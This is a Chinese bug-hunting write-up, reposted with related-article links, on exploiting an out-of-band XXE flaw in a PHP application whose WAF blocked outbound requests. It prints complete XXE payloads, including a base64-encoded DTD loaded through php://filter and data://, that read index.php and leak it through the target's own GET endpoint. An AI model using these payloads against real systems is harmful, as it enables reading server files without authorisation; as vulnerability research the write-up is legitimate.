几个星期以前,作者在某个OOB-XXE漏洞测试中遇到过这样一种场景:目标应用后端系统WAF防火墙阻挡了包含DNS解析在内的所有出站请求(Outgoing Request),但最终,通过利用php://filter//的封装协议,作者成功实现了OOB-XXE漏洞测试。以下是其分享:

在对目标应用的测试分析时,我偶然发现了其中一个路径调用了一个名为xml的参数,但其对应的XML数据值是加密的。之后,我发现该xml参数的XML数据在发送到HTTP请求前仅在客户端实行了加密,也就是说,其应用后端可能未设置对这些XML数据进行必要验证的措施,这样,我就想到能否修改这些XML数据以便注入XXE Payload。

接下来,首先我要找到加密XML数据的JavaScript函数,但却发现目标应用的JavaScript全被静态模块打包器WebPack打包且非常不具可读性和跟踪分析性。所以,要找到JavaScript加密函数是件麻烦事,之后,我想到了在Chrome浏览器工具中设置断点,在XML数据发送到JavaScript加密函数前对它进行修改。

这样一来,我就可以在其中加入外部实体(external entity)进行XML数据构造了,但当我把构造好的XML Payload发送后,目标应用好长时间才有响应”Error while parsing XML”。但当我把其中的外部实体(external entity)修改为 `http://localhost/` 后,目标应用却能及时无误的响应。这种情况,我认为目标应用环境中可能部署有WAF防火墙,它会把一些出站请求拒绝掉。之后,我又尝试了端口和DNS解析请求,但都没成功。

也就是说,现在我面前存在一个XXE漏洞,但是却无能为力。一般来说可能通过探测目标应用内网环境中开放的端口来实现XXE利用,但其WAF防火墙却阻挡了所有出站请求。由于其WAF防火墙未阻止本机用为外部实体,所以,我想找到目标应用公开具备的,不需cookie验证且使用GET参数的路径来实现对某些数据的更改或添加。而这也和目标应用的工作机制非常相符,因为它好多路径并未采用cookie验证和用户ID参数的形式来验证身份。

考虑到这一点,我就开始认真分析查找,最后聚集于一个路径http://target/endpoint.php?sid=[session_id]&key=xxe&val=test,它会调用三个参数:sid、key和val,并把key和val保存到相应的会话ID账户中,而且我们通过访问该路径就可以获取这三个参数值。

所以,现在我就想构造一个向路径http://target/endpoint.php?sid=[session_id]&key=xxe&val=test发送GET请求的外部实体,之后看看该路径下的xxe和test值是否已经会发生添加更改,因此,我构造的XXE Payload如下,并把它执行了发送:

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=test">

]>

<paramlimits>

<component name="L1" min="2" max="100">&xxe;</component>

</paramlimits>

之后,当我来到 http://target/endpoint.php?sid=[session_id] 下,我发现sid值已经被添加更改,也就是说,目标应用服务器能正常获取上述实体,并会向提供的路径发送GET请求。如下:

现在思路就慢慢清晰了,至少可以证明其XXE漏洞是存在的,我想深入利用看看能否可读取到目标应用的一些本地文件。要读取本地文件,我们需要创建一个获取文件的参数实体,以及另一个调用该参数实体的实体,为此,我用到了外部文档类型定义(DTD)文件的调用,但问题还是一样,被WAF防火墙阻挡了出站的调用请求,部署在我服务器上的DTD文件不能被正常调用。

这样来说,还是防火墙在作怪,如何来绕过它呢?我想能否存在一种允许文件上传的路径,这样我就能上传我的构造DTD文件,但是,目标应用却根本没任何文件上传功能。一番倒腾之后,我差点放弃了,但是我想到目标应用是PHP架构的,那我想应该可以用php://封装协议的封装器去获取 data:// URI中的资源吧,这样不就能调用到我的DTD文件了吗?

所以,可以定义这样一种参数实体:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=file:///D:/path/index.php">

<!ENTITY % param1 '<!ENTITY exfil SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=%data;">'>

然后把上述参数实体经base64编码后,利用php://封装协议来请求它,如下:

php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+

当目标应用的XML解析器执行解析时,它会执行以下两个路径的实体解析:

php://filter/convert.base64-encode/resource=file:///D:/path/index.php

http://target/endpoint.php?sid=[session_id]&#38;key=xxe&val=%data;

其中的convert.base64-encode是为了能对 index.php 文件内容更方便的获取。所以最终的XXE Payload为:

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY % sp SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+"> %sp; %param1;

]>

<paramlimits>

<component name="L1" min="2" max="100">&exfil;</component>

</paramlimits>

提交发送之后,来到目标路径http://target/endpoint.php?sid=[session_id]下,可以发现经base64编码的index.php文件内容被成功获取:

当然,深入利用之后就能用这种方法来读取一些敏感的本地文件了。

挖洞经验 | 绕过WAF限制利用php:方法实现OOB-XXE漏洞利用的更多相关文章

  1. [转帖]挖洞经验 | 获取Facebook Marketplace卖家精确地理位置信息

    挖洞经验 | 获取Facebook Marketplace卖家精确地理位置信息 https://www.freebuf.com/vuls/202820.html 知识就是力量 5000刀的一个漏洞. ...

  2. 转:Google Project Zero挖洞经验整理

    https://www.sec-un.org/google-project-zero%E6%8C%96%E6%B4%9E%E7%BB%8F%E9%AA%8C%E6%95%B4%E7%90%86/ 1. ...

  3. 【挖洞经验】如何在一条UPDATE查询中实现SQL注入

    直奔主题 跟往常一样,在喝完我最爱的果汁饮料之后,我会习惯性地登录我的Synack账号,然后选择一个应用来进行渗透测试,此时我的“黑客之夜”便正式开始了. 我与很多其他的安全研究人员的习惯一样,我会在 ...

  4. 2019-11-19:xxe漏洞利用,笔记

    xxe,也就是xml,外部实体注入攻击,漏洞是对非安全的外部实体数据进行处理时引发的安全问题,要了解xxe,就必须懂得xml的一些规则xml是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据 ...

  5. Linux64位程序中的漏洞利用

    之前在栈溢出漏洞的利用和缓解中介绍了栈溢出漏洞和一些常见的漏洞缓解 技术的原理和绕过方法, 不过当时主要针对32位程序(ELF32). 秉承着能用就不改的态度, IPv4还依然是互联网的主导, 更何况 ...

  6. Windows 漏洞利用开发

    第一阶段:简单栈溢出 分析栈溢出原理 寻找溢出点,了解pattern_create和pattern_offset计算溢出点的原理 寻找JMP ESP跳板,分析利用JMP ESP跳板劫持程序流的原理 编 ...

  7. ms10_046_shortcut_icon_dllloader漏洞利用和ettercap dns欺骗

    ms10_046_shortcut_icon_dllloader漏洞利用过程 msf > use exploit/windows/browser/ms10_046_shortcut_icon_d ...

  8. 在SQL注入中利用MySQL隐形的类型转换绕过WAF检测

    web应用一般采用基于表单的身份验证方式(页面雏形如下图所示),处理逻辑就是将表单中提交的用户名和密码传递到后台数据库去查询,并根据查询结果判断是否通过身份验证.对于LAMP架构的web应用而言,处理 ...

  9. 绕过WAF进行常见Web漏洞利用

    前言 本文以最新版安全狗为例,总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法. PS:本文仅用于技术研究与讨论,严禁用于任何非法用途,违者后果自负,作者与平台不承担任何责任 PPS:本 ...

随机推荐

  1. leetCode练题——14. Longest Common Prefix

    1.题目 14. Longest Common Prefix   Write a function to find the longest common prefix string amongst a ...

  2. Python 基础之文件操作与文件的相关函数

    一.文件操作 fp =open("文件名",mode="采用的模式",encoding="使用什么编码集")fp 这个变量接受到open的返 ...

  3. 【C++初学者自学笔记二】函数重载(模块一)

    1.概念:同意作用域的一组参数列表不同,函数名相同的函数,这组函数叫函数重载(C语言是不能定义相同名称的函数,但是C++可以允许定义). 2作用:重载函数通常来命名一组功能相似的函数,这样做减少了函数 ...

  4. centso7设置防火墙

    CentOS 7默认使用的是firewall作为防火墙,使用iptables必须重新设置一下 1.直接关闭防火墙 1 2 3 systemctl stop firewalld.service #停止f ...

  5. nginx 书籍

    1.<实战nginx> 2.<深入理解nginx> 3.nginx开发从入门到精通 http://tengine.taobao.org/book/ 4.Nginx源码学习,配置 ...

  6. 【PAT甲级】1011 World Cup Betting (20 分)

    题意: 给出三组小数,每组三个,分别代表一场比赛下注一块钱胜平负的赔率.输出投注的方案并计算投注两块钱期望收获.(赔率相乘后乘上0.65再减去本金2块钱) AAAAAccepted code: #in ...

  7. Python 面试问答基础篇

    1.       Python是如何进行内存管理的? 答:从三个方面来说,一对象的引用计数机制,二垃圾回收机制,三内存池机制 一.对象的引用计数机制 Python内部使用引用计数,来保持追踪内存中的对 ...

  8. crontab Yii commands 使用方法

    基本知识介绍 #crontab -u <-l, -r, -e> -u指定一个用户-l列出某个用户的任务计划-r删除某个用户的任务-e编辑某个用户的任务 cron文件语法与写法 Minute ...

  9. YII insert multiple records into a table

    $values = array(array(1,2),array(3,4),array(5,6),); $nbValues = count($values); $sql = 'INSERT INTO ...

  10. 揭秘autoit3的运行机制和反编译原理

    今天发这个帖子的目的在于和论坛里面的朋友交流一下学习心得,主要内容是围绕着autoit3的编译原理.先开门见山的说一下结果,我不知道如何反编译au3,但相信论坛有很多高手,能解开我心中的疑团.我没有想 ...